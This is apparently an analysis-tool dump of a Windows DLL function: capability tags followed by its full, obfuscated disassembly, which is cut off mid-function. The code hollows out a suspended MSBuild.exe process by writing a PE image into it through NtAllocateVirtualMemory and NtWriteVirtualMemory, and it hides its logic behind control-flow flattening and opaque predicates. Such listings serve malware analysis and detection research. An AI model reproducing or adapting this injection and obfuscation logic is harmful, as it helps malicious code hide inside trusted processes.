Function at 0x10003df0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x17c
mov eax, dword [0x10060e04]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x184], 0x1aa7c447
mov eax, dword [ebp - 0x184]
mov dword [ebp - 0x188], eax
sub eax, 0x80cfe046
je 0x10004cd7
jmp 0x10003e2c
mov eax, dword [ebp - 0x188]
sub eax, 0x80f8a3aa
je 0x10006cf9
jmp 0x10003e42
mov eax, dword [ebp - 0x188]
sub eax, 0x8322c871
je 0x10005843
jmp 0x10003e58
mov eax, dword [ebp - 0x188]
sub eax, 0x84adeec9
je 0x100057fa
jmp 0x10003e6e
mov eax, dword [ebp - 0x188]
sub eax, 0x851fd72e
je 0x10006f18
jmp 0x10003e84
mov eax, dword [ebp - 0x188]
sub eax, 0x87d60e9e
je 0x10005052
jmp 0x10003e9a
mov eax, dword [ebp - 0x188]
sub eax, 0x886a1d56
je 0x10007463
jmp 0x10003eb0
mov eax, dword [ebp - 0x188]
sub eax, 0x8b82adb4
je 0x10005f0b
jmp 0x10003ec6
mov eax, dword [ebp - 0x188]
sub eax, 0x8c4314f1
je 0x10005616
jmp 0x10003edc
mov eax, dword [ebp - 0x188]
sub eax, 0x8d50b10e
je 0x10004f3e
jmp 0x10003ef2
mov eax, dword [ebp - 0x188]
sub eax, 0x909f3e64
je 0x10007481
jmp 0x10003f08
mov eax, dword [ebp - 0x188]
sub eax, 0x918cbbbc
je 0x10005347
jmp 0x10003f1e
mov eax, dword [ebp - 0x188]
sub eax, 0x91fd8233
je 0x10005338
jmp 0x10003f34
mov eax, dword [ebp - 0x188]
sub eax, 0x93e5e6e7
je 0x1000749c
jmp 0x10003f4a
mov eax, dword [ebp - 0x188]
sub eax, 0x949e5e8b
je 0x1000654d
jmp 0x10003f60
mov eax, dword [ebp - 0x188]
sub eax, 0x9af7bfa6
je 0x1000625b
jmp 0x10003f76
mov eax, dword [ebp - 0x188]
sub eax, 0x9b64e31e
je 0x10006e8f
jmp 0x10003f8c
mov eax, dword [ebp - 0x188]
sub eax, 0x9bd67d6f
je 0x10004f2f
jmp 0x10003fa2
mov eax, dword [ebp - 0x188]
sub eax, 0x9d9a7d58
je 0x1000599e
jmp 0x10003fb8
mov eax, dword [ebp - 0x188]
sub eax, 0x9ed557fa
je 0x10005abd
jmp 0x10003fce
mov eax, dword [ebp - 0x188]
sub eax, 0x9fe50cfc
je 0x100062b3
jmp 0x10003fe4
mov eax, dword [ebp - 0x188]
sub eax, 0xa7c90fce
je 0x10006849
jmp 0x10003ffa
mov eax, dword [ebp - 0x188]
sub eax, 0xaa9908c4
je 0x10006452
jmp 0x10004010
mov eax, dword [ebp - 0x188]
sub eax, 0xaba9d649
je 0x10006293
jmp 0x10004026
mov eax, dword [ebp - 0x188]
sub eax, 0xae394954
je 0x10006524
jmp 0x1000403c
mov eax, dword [ebp - 0x188]
sub eax, 0xae413634
je 0x100068d5
jmp 0x10004052
mov eax, dword [ebp - 0x188]
sub eax, 0xb24ca3e1
je 0x10006c34
jmp 0x10004068
mov eax, dword [ebp - 0x188]
sub eax, 0xb4a0fa70
je 0x100070f7
jmp 0x1000407e
mov eax, dword [ebp - 0x188]
sub eax, 0xb65018ab
je 0x10005dca
jmp 0x10004094
mov eax, dword [ebp - 0x188]
sub eax, 0xb6636bcb
je 0x10006313
jmp 0x100040aa
mov eax, dword [ebp - 0x188]
sub eax, 0xb77be3ed
je 0x10007072
jmp 0x100040c0
mov eax, dword [ebp - 0x188]
sub eax, 0xb7f34f99
je 0x10007012
jmp 0x100040d6
mov eax, dword [ebp - 0x188]
sub eax, 0xba7480bb
je 0x100074ab
jmp 0x100040ec
mov eax, dword [ebp - 0x188]
sub eax, 0xbf3bdf6c
je 0x10005f54
jmp 0x10004102
mov eax, dword [ebp - 0x188]
sub eax, 0xc0927dbc
je 0x10006f2d
jmp 0x10004118
mov eax, dword [ebp - 0x188]
sub eax, 0xc1c392ac
je 0x1000576f
jmp 0x1000412e
mov eax, dword [ebp - 0x188]
sub eax, 0xc2b5d0ea
je 0x100056c7
jmp 0x10004144
mov eax, dword [ebp - 0x188]
sub eax, 0xc340b0fb
je 0x100050aa
jmp 0x1000415a
mov eax, dword [ebp - 0x188]
sub eax, 0xc3d6d21f
je 0x10006f7e
jmp 0x10004170
mov eax, dword [ebp - 0x188]
sub eax, 0xc7c4192f
je 0x10007472
jmp 0x10004186
mov eax, dword [ebp - 0x188]
sub eax, 0xc8673d74
je 0x1000608f
jmp 0x1000419c
mov eax, dword [ebp - 0x188]
sub eax, 0xccd33b81
je 0x100071e1
jmp 0x100041b2
mov eax, dword [ebp - 0x188]
sub eax, 0xcd9609ab
je 0x1000666b
jmp 0x100041c8
mov eax, dword [ebp - 0x188]
sub eax, 0xce57aee2
je 0x100073bb
jmp 0x100041de
mov eax, dword [ebp - 0x188]
sub eax, 0xcf881735
je 0x10006156
jmp 0x100041f4
mov eax, dword [ebp - 0x188]
sub eax, 0xd050906e
je 0x10005583
jmp 0x1000420a
mov eax, dword [ebp - 0x188]
sub eax, 0xd22a55c3
je 0x10004e41
jmp 0x10004220
mov eax, dword [ebp - 0x188]
sub eax, 0xd40eaeaa
je 0x10004d5a
jmp 0x10004236
mov eax, dword [ebp - 0x188]
sub eax, 0xd5ea4777
je 0x10006bbb
jmp 0x1000424c
mov eax, dword [ebp - 0x188]
sub eax, 0xd7b439ab
je 0x10005676
jmp 0x10004262
mov eax, dword [ebp - 0x188]
sub eax, 0xd7be5e82
je 0x1000738d
jmp 0x10004278
mov eax, dword [ebp - 0x188]
sub eax, 0xd8037023
je 0x10004fe4
jmp 0x1000428e
mov eax, dword [ebp - 0x188]
sub eax, 0xd8f335fa
je 0x10006cb0
jmp 0x100042a4
mov eax, dword [ebp - 0x188]
sub eax, 0xdcff4f53
je 0x100061a1
jmp 0x100042ba
mov eax, dword [ebp - 0x188]
sub eax, 0xde5de118
je 0x10004d07
jmp 0x100042d0
mov eax, dword [ebp - 0x188]
sub eax, 0xdecc8d80
je 0x100070e8
jmp 0x100042e6
mov eax, dword [ebp - 0x188]
sub eax, 0xe1c35cb4
je 0x100061f2
jmp 0x100042fc
mov eax, dword [ebp - 0x188]
sub eax, 0xe21ff219
je 0x10005d1e
jmp 0x10004312
mov eax, dword [ebp - 0x188]
sub eax, 0xe61c9c7c
je 0x10006503
jmp 0x10004328
mov eax, dword [ebp - 0x188]
sub eax, 0xe6606b91
je 0x100073ca
jmp 0x1000433e
mov eax, dword [ebp - 0x188]
sub eax, 0xe73014e6
je 0x10006e2f
jmp 0x10004354
mov eax, dword [ebp - 0x188]
sub eax, 0xe81f02c1
je 0x10006a08
jmp 0x1000436a
mov eax, dword [ebp - 0x188]
sub eax, 0xeab84039
je 0x10005bbc
jmp 0x10004380
mov eax, dword [ebp - 0x188]
sub eax, 0xf29ec5e2
je 0x10005a6e
jmp 0x10004396
mov eax, dword [ebp - 0x188]
sub eax, 0xf30566c1
je 0x10006b2f
mov eax, dword [ebp - 0x15c]
mov ecx, dword [ebp - 0x160]
mov ecx, dword [ecx + 0x3c]
sub eax, 0x28845be0
add eax, ecx
add eax, 0x28845be0
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x184], 0xde5de118
jmp 0x100075af
mov eax, dword [ebp - 0x118]
mov dword [ebp - 0x164], eax
mov eax, dword [ebp - 0x164]
cmp dword [eax], 0x4550
sete al
and al, 1
mov byte [ebp - 0x111], al
mov dword [ebp - 0x184], 0xfd644ba
jmp 0x100075af
mov eax, dword [0x10062098]
mov ecx, dword [0x10062094]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf4dbf6c5
mov ecx, 0xfb17bd04
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100075af
mov dword [ebp - 0x184], 0x61ccd967
jmp 0x100075af
mov dword [ebp - 0x184], 0x8d50b10e
jmp 0x100075af
lea eax, [ebp - 0x20]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.100085c0
add esp, 0xc
lea eax, [ebp - 0x64]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.100085c0
add esp, 0xc
mov eax, dword [ebp - 0x164]
cmp dword [eax + 0xe8], 0
setne al
and al, 1
mov byte [ebp - 0x169], al
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [ebp - 0x170], eax
mov dl, byte [ebp - 0x169]
mov eax, 0x4f3b093b
mov ecx, 0xc340b0fb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100075af
mov ecx, dword [0x10062098]
mov eax, dword [0x10062094]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3ca9c396
mov ecx, 0x87d60e9e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100075af
mov eax, dword [0x10062098]
mov ecx, dword [0x10062094]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3ca9c396
mov ecx, 0x54ec95ab
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100075af
mov ecx, dword [0x10062098]
mov eax, dword [0x10062094]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6122fe7
mov ecx, 0x6ee244e6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100075af
mov dword [ebp - 0x184], 0x918cbbbc
jmp 0x100075af
mov dl, byte [ebp - 0x109]
mov eax, 0x682a269d
mov ecx, 0x449e15eb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100075af
mov eax, dword [ebp - 0x100]
mov edx, dword [eax]
lea ecx, [ebp - 0x68]
xor eax, eax
lea eax, [ebp - 0x6c]
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov eax, dword [0x10062098]
mov ecx, dword [0x10062094]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x711ed3b9
mov ecx, 0x79461f2f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100075af
mov eax, dword [ebp - 0x164]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0x15c]
mov edx, dword [ebp - 0x68]
mov esi, dword [ebp - 0x20]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0x15c]
mov dword [ebp - 0xfc], eax
mov eax, dword [ebp - 0x160]
mov eax, dword [eax + 0x3c]
mov dword [ebp - 0xf8], eax
mov dword [ebp - 0x184], 0xd7b439ab
jmp 0x100075af
mov eax, dword [0x10062098]
mov ecx, dword [0x10062094]
mov edx, eax
add edx, 0xc2ace555
sub edx, 1
sub edx, 0xc2ace555
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf9c351c4
mov ecx, 0xc2b5d0ea
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100075af
mov eax, dword [ebp - 0xfc]
mov ecx, dword [ebp - 0xf8]
add eax, ecx
add eax, 4
add eax, 0x14
mov ecx, dword [ebp - 0x164]
movzx ecx, word [ecx + 0x14]
add eax, ecx
mov dword [ebp - 0x180], eax
mov eax, dword [ebp - 0x158]
mov dword [eax], 0
mov ecx, dword [0x10062098]
mov eax, dword [0x10062094]
mov edx, ecx
sub edx, 0x80b17aeb
sub edx, 1
add edx, 0x80b17aeb
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf9c351c4
mov ecx, 0xc1c392ac
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100075af
mov dword [ebp - 0x184], 0xeb080cc
jmp 0x100075af
mov eax, dword [0x10062098]
mov ecx, dword [0x10062094]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x50012cdc
mov ecx, 0x8322c871
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100075af
mov eax, dword [ebp - 0xec]
mov ecx, dword [ebp - 0xe8]
imul ecx, ecx, 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp - 0x15c]
mov edx, dword [ebp - 0x180]
mov esi, dword [ebp - 0x158]
imul esi, dword [esi], 0x28
add edx, esi
mov edx, dword [edx + 0x14]
add ecx, 0x768f1ab3
add ecx, edx
sub ecx, 0x768f1ab3
mov edx, dword [ebp - 0x68]
mov esi, dword [ebp - 0x180]
mov edi, dword [ebp - 0x158]
imul edi, dword [edi], 0x28
add esi, edi
mov esi, dword [esi + 0xc]
add edx, 0xa2a0699f
add edx, esi
sub edx, 0xa2a0699f
mov esi, dword [ebp - 0x20]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov ecx, dword [0x10062098]
mov eax, dword [0x10062094]
mov edx, ecx
sub edx, 0x36293ded
sub edx, 1
add edx, 0x36293ded
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x50012cdc
mov ecx, 0x3a10ae3c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100075af
mov eax, dword [ebp - 0x158]
mov ecx, dword [eax]
sub ecx, 0x41dbe8ef
add ecx, 1
add ecx, 0x41dbe8ef
mov eax, dword [ebp - 0x158]
mov dword [eax], ecx
mov eax, dword [0x10062098]
mov ecx, dword [0x10062094]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd7be5e82
mov ecx, 0x5430ec68
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100075af
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x164]
movzx ecx, word [ecx + 6]
cmp eax, ecx
setl al
and al, 1
mov byte [ebp - 0xe1], al
mov dword [ebp - 0x184], 0x2584fedc
jmp 0x100075af
mov ecx, dword [0x10062098]
mov eax, dword [0x10062094]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xce57aee2
mov ecx, 0x795c9d52
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100075af
mov eax, dword [ebp - 0x14c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xe0]
imul ecx, ecx, 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp - 0x15c]
mov edx, dword [ebp - 0x180]
mov esi, dword [ebp - 0x14c]
imul esi, dword [esi], 0x28
add edx, esi
mov esi, dword [edx + 0x14]
xor edx, edx
sub edx, ecx
xor ecx, ecx
sub ecx, esi
add edx, ecx
xor ecx, ecx
sub ecx, edx
mov edx, dword [ebp - 0x68]
mov esi, dword [ebp - 0x180]
mov edi, dword [ebp - 0x14c]
imul edi, dword [edi], 0x28
add esi, edi
mov edi, dword [esi + 0xc]
xor esi, esi
sub esi, edi
sub edx, esi
mov esi, dword [ebp - 0x20]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0x164]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0x180]
mov edx, dword [ebp - 0x14c]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x10]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10003d10
add esp, 8
mov ecx, eax
mov eax, dword [ebp - 0x148]
mov dword [eax], ecx
mov eax, dword [ebp - 0x150]
mov edx, dword [eax]
mov esi, dword [ebp - 0x180]
mov eax, dword [ebp - 0x14c]
imul eax, dword [eax], 0x28
add esi, eax
mov eax, 0x39d8a506
mov ecx, 0xfdb2f2fe
cmp edx, dword [esi + 0xc]
cmovae eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100075af
mov eax, dword [ebp - 0x150]
mov eax, dword [eax]
mov dword [ebp - 0xdc], eax
mov eax, dword [ebp - 0x180]
mov ecx, dword [ebp - 0x14c]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
mov dword [ebp - 0xd8], eax
mov eax, dword [ebp - 0x148]
mov eax, dword [eax]
mov dword [ebp - 0xd4], eax
mov ecx, dword [0x10062098]
mov eax, dword [0x10062094]
mov edx, ecx
add edx, 0xac436cda
sub edx, 1
sub edx, 0xac436cda
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe6606b91
mov ecx, 0xb65018ab
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100075af
mov dword [ebp - 0x184], 0x319ea77e
jmp 0x100075af
mov eax, dword [ebp - 0x15c]
mov ecx, dword [ebp - 0x180]
mov edx, dword [ebp - 0x14c]
imul edx, dword [edx], 0x28
add ecx, edx
add eax, dword [ecx + 0x14]
mov dword [ebp - 0xcc], eax
mov eax, dword [ebp - 0x150]
mov eax, dword [eax]
mov dword [ebp - 0xc8], eax
mov eax, dword [ebp - 0x180]
mov dword [ebp - 0xc4], eax
mov dword [ebp - 0x184], 0xbf3bdf6c
jmp 0x100075af
mov eax, dword [ebp - 0x14c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xc4]
imul ecx, ecx, 0x28
add eax, ecx
mov ecx, dword [eax + 0xc]
mov eax, dword [ebp - 0xc8]
sub eax, 0x4ac1036b
sub eax, ecx
add eax, 0x4ac1036b
mov ecx, dword [ebp - 0xcc]
add ecx, eax
mov eax, dword [ebp - 0x154]
mov dword [eax], ecx
mov dword [ebp - 0x184], 0x39d8a506
jmp 0x100075af
mov ecx, dword [0x10062098]
mov eax, dword [0x10062094]
mov edx, ecx
add edx, 0x2b33340b
sub edx, 1
sub edx, 0x2b33340b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x886a1d56
mov ecx, 0xf6fccb53
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100075af
mov dword [ebp - 0x184], 0xf29ec5e2
jmp 0x100075af
mov eax, dword [0x10062098]
mov ecx, dword [0x10062094]
mov edx, eax
sub edx, 0x2676026a
sub edx, 1
add edx, 0x2676026a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc7c4192f
mov ecx, 0xe1c35cb4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100075af
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0xbc], eax
mov eax, dword [0x10062098]
mov ecx, dword [0x10062094]
mov edx, eax
add edx, 0x661d2a0d
sub edx, 1
sub edx, 0x661d2a0d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc7c4192f
mov ecx, 0x10026de8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100075af
mov eax, dword [ebp - 0x164]
mov esi, dword [eax + 0x34]
mov edx, dword [ebp - 0xbc]
mov eax, 0xf30566c1
mov ecx, 0x6b3b11a5
cmp edx, esi
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100075af
mov eax, dword [ebp - 0x154]
mov eax, dword [eax]
add eax, 4
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0x184], 0x9fe50cfc
jmp 0x100075af
mov edx, dword [ebp - 0xb8]
mov eax, 0xe7ad7aa
mov ecx, 0x5a9555d1
cmp dword [edx], 0
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100075af
mov ecx, dword [ebp - 0xb4]
sub ecx, 0x4e29c458
sub ecx, 8
add ecx, 0x4e29c458
shr ecx, 1
mov eax, dword [ebp - 0x140]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x164]
mov eax, dword [eax + 0x34]
add ecx, 0x140995c0
sub ecx, eax
sub ecx, 0x140995c0
mov eax, dword [ebp - 0x13c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x138]
mov dword [eax], 0
mov dword [ebp - 0x184], 0x752813c8
jmp 0x100075af
mov dword [ebp - 0x184], 0x2a393fa
jmp 0x100075af
mov dl, byte [ebp - 0xad]
mov eax, 0x6da69473
mov ecx, 0xae394954
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100075af
mov eax, dword [ebp - 0x144]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x138]
mov ecx, dword [ecx]
movzx eax, word [eax + ecx*2]
mov dword [ebp - 0xac], eax
mov dword [ebp - 0x184], 0x949e5e8b
jmp 0x100075af
mov ecx, dword [0x10062098]
mov eax, dword [0x10062094]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xba7480bb
mov ecx, 0x41ecb6d9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100075af
mov dl, byte [ebp - 0xa5]
mov eax, 0x37e76f2d
mov ecx, 0x23d873a8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100075af
mov ecx, dword [0x10062098]
mov eax, dword [0x10062094]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf6e2bac7
mov ecx, 0x84e52e9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100075af
mov ecx, dword [0x10062098]
mov eax, dword [0x10062094]
mov edx, ecx
add edx, 0x327183b3
sub edx, 1
sub edx, 0x327183b3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf73b82d3
mov ecx, 0x685def46
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100075af
mov eax, dword [ebp - 0x94]
mov edx, dword [eax + 4]
mov ecx, dword [ebp - 0x98]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x154]
mov dword [eax], ecx
mov dword [ebp - 0x184], 0xaba9d649
jmp 0x100075af
mov eax, dword [ebp - 0x15c]
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0x164]
add eax, 0x18
add eax, 0x60
add eax, 0x48
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x184], 0x1e480dd6
jmp 0x100075af
mov eax, dword [ebp - 0x84]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x88]
add ecx, eax
mov eax, dword [ebp - 0x12c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax]
mov ecx, dword [eax + 0xc]
mov eax, dword [ebp - 0x128]
mov dword [eax], ecx
mov eax, dword [0x10062098]
mov ecx, dword [0x10062094]
mov edx, eax
sub edx, 0x9efc0841
sub edx, 1
add edx, 0x9efc0841
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5a7ac226
mov ecx, 0xd8f335fa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100075af
mov dword [ebp - 0x184], 0x7575a7a2
jmp 0x100075af
mov eax, dword [ebp - 0x128]
mov eax, dword [eax]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x164]
mov eax, dword [eax + 0x34]
add ecx, 0xb252451d
sub ecx, eax
sub ecx, 0xb252451d
mov eax, dword [ebp - 0x124]
mov dword [eax], ecx
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x124]
mov eax, dword [eax]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x184], 0x54359e31
jmp 0x100075af
mov eax, dword [0x10062098]
mov ecx, dword [0x10062094]
mov edx, eax
add edx, 0xb230cda1
sub edx, 1
sub edx, 0xb230cda1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x52deb86b
mov ecx, 0x69807fa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100075af
mov ecx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x164]
mov eax, dword [eax + 0x28]
add ecx, 0xa540312
add ecx, eax
sub ecx, 0xa540312
mov eax, dword [ebp - 0x168]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x168]
